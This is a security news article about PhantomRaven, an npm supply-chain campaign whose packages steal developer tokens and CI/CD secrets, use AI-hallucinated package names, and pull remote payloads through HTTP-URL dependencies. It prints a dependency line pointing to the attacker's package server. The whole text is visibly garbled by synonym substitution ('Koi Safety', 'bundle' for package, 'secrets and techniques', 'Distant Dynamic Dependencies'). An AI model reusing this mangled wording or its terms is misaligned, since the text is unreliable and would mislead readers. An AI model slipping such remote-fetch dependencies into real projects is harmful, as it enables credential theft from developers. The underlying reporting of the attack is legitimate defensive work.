The worldwide developer neighborhood has been rocked by the emergence of PhantomRaven, a far-reaching marketing campaign involving 126 malicious npm packages with greater than 86,000 downloads.
Lurking beneath the floor, these packages actively steal npm tokens, GitHub credentials, and CI/CD secrets and techniques from unsuspecting builders internationally.
Regardless of their scale and influence, the attackers have leveraged new strategies to hide their malicious code from normal safety analyses, exploiting blind spots within the open-source ecosystem.
In October 2025, Koi Safety’s behavioral danger engine, Wings, detected a surge of npm packages making exterior community requests—one thing most packages by no means do throughout set up.
A deeper investigation revealed the reality: since August, a sprawling assault had been underway, with over 80 of the unique 126 packages nonetheless operational and stealthily pilfering credentials.
Early removals by npm missed the majority of uploads that adopted, permitting the marketing campaign to evade detection for months.

The attacker’s infrastructure was marked by a shocking lack of operational safety, counting on sequential e-mail addresses from free providers (corresponding to jpdtester01@hotmail[.]com by way of jpdtester13@gmail[.]com) and low-effort usernames like “npmhell” and “npmpackagejpd.” Regardless of these breadcrumbs, their intelligent supply mechanisms stored the true payload hidden.
How PhantomRaven Evaded Detection
Conventional npm packages listing dependencies sourced straight from npmjs.com, making them clear to scanners and dependency evaluation instruments.
Nevertheless, PhantomRaven employed a sophisticated evasion tactic: Distant Dynamic Dependencies (RDD). As a substitute of ordinary pointers, the packages referenced dependencies by HTTP URLs, corresponding to:
textual content"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"
}
This seemingly innocuous change is pivotal. When put in, npm fetches the distant bundle straight from the attacker’s server, bypassing registry controls and leaving safety scanners blind—registering “0 dependencies” within the UI.
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The attacker, totally accountable for the distribution server, may even serve focused payloads by inspecting the installer’s IP tackle.
Every set up executes lifecycle scripts like “preinstall,” guaranteeing malicious code runs routinely, irrespective of how deep into the dependency tree it’s buried.
Not solely does this enable the attacker to ship tailor-made malicious payloads on demand, but it surely additionally sidesteps all person prompts and warnings.
What PhantomRaven Truly Does
As soon as put in, PhantomRaven malware launches a complete sweep for delicate particulars:
- Electronic mail harvesting: It scours surroundings variables, configuration recordsdata (corresponding to .gitconfig and .npmrc), and even metadata in bundle.json recordsdata to gather developer emails.
- CI/CD credential theft: The malware aggressively targets secrets and techniques for platforms like GitHub Actions, GitLab CI, Jenkins, CircleCI, and npm itself—straight threatening construct servers and deployment pipelines.
- System fingerprinting: Knowledge collected consists of public and native IP, hostnames, OS data, usernames, working directories, and Node.js variations—permitting attackers to prioritize targets and fine-tune future assaults.
To maximise exfiltration success, PhantomRaven redundantly sends stolen information through HTTP GET, HTTP POST, and fallback WebSocket connections, successfully bypassing most community restrictions.


PhantomRaven’s bundle names aren’t mere typosquats. By exploiting giant language mannequin (LLM) hallucinations, attackers create believable packages which might be usually steered by AI assistants like Copilot or ChatGPT (e.g., “unused-imports” as a substitute of the reputable “eslint-plugin-unused-imports”).
This system, often called slopsquatting, allows attackers to poison the ecosystem with packages builders may set up on mere AI suggestion.
Victims, trusting AI-generated options, unknowingly introduce PhantomRaven malware into their environments.
Rethinking Open Supply Safety
PhantomRaven’s strategies spotlight the rising sophistication of software program provide chain assaults. Distant Dynamic Dependencies, AI-targeted bundle names, and auto-executing lifecycle scripts collectively symbolize a brand new period in malware supply—one which outpaces many established safety instruments.
Koi Safety’s analysis and options illustrate how behavioral evaluation—monitoring what packages truly do quite than simply what they declare—can expose assaults invisible to static scans.
Because the open-source ecosystem confronts these real-time threats, superior, dynamic defenses at the moment are important to safeguarding builders, enterprises, and the software program provide chain itself.
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